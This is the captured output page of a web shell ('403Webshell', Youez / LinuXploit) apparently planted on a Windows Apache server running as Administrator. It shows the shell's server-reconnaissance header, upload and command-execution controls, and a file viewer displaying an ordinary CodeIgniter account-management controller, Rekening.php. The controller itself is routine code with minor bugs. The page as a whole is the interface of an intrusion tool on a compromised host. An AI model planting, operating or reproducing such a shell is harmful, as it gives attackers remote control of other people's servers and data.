403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/laragon/www/sop/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/laragon/www/sop/application/controllers/Rekening.php
<?php
defined('BASEPATH') or exit('No direct script access allowed');

class Rekening extends CI_Controller
{
    public function __construct()
    {
        parent::__construct();
        if (!$this->session->userdata('email')) {
            redirect('auth');
        }
    }

    public function index()
    {


        $data['title'] = 'Account (Rekening)';
        $data['title2'] = 'Management Account (Rekening)';
        $data['user'] = $this->db->get_where('user', ['email' => $this->session->userdata('email')])->row_array();

        $data['rekening'] = $this->db->get('rekening')->result_array();

        $this->load->view('templates/header', $data);
        $this->load->view('templates/sidebar', $data);
        $this->load->view('templates/topbar', $data);
        $this->load->view('rekening/index', $data);
        $this->load->view('templates/footer');
    }

    public function add()
    {
        
        $this->form_validation->set_rules('code', 'Input Code', 'required|trim');
        $this->form_validation->set_rules('account_name', 'Input Account Name', 'required|trim');


        if($this->form_validation->run()==FALSE){
            $this->load->view('templates/header', $data);
            $this->load->view('templates/sidebar', $data);
            $this->load->view('templates/topbar', $data);
            $this->load->view('rekening/index', $data);
            $this->load->view('templates/footer');
        }else{
            $rek_id = $this->input->post('id');

            $data=array(
                "code" => $_POST['code'],
                "account_name" => $_POST['account_name']
            );

            $this->db->insert('rekening', $data);
            $this->session->set_flashdata('message','<div class="alert alert-success" role="alert">New Account Added! </div>');     
            redirect('rekening/index');
        }
    }

    public function edit()
    {
        $this->form_validation->set_rules('code', 'Input Code', 'required|trim');
        $this->form_validation->set_rules('account_name', 'Input Account Name', 'required|trim');

        if($this->form_validation->run()==FALSE){
            $this->load->view('templates/header', $data);
            $this->load->view('templates/sidebar', $data);
            $this->load->view('templates/topbar', $data);
            $this->load->view('rekening/index', $data);
            $this->load->view('templates/footer');
        }else{
            $rek_id = $this->input->post('id');

            $data=array(
                "code" => $_POST['code'],
                "account_name" => $_POST['account_name']
            );

            $this->db->where('id', $rek_id);
            $this->db->update('rekening', $data);

            $this->session->set_flashdata('message', '<div class="alert alert-success" role="alert">Account Changed! </div>');
            redirect('rekening/index');
        }
    }
 
    public function hapus($id)
    {
        if($id == ""){
            $this->session->set_flashdata('message','<div class="alert alert-warning" role="alert">Account cannot deleted! </div>');
            redirect('rekening/index');
        }else{
            $this->db->where('id', $id);
            $this->db->delete('rekening');
            $this->session->set_flashdata('message','<div class="alert alert-success" role="alert">Account has been deleted! </div>');
            redirect('rekening/index');
        }
    }


}

Youez - 2016 - github.com/yon3zu
LinuXploit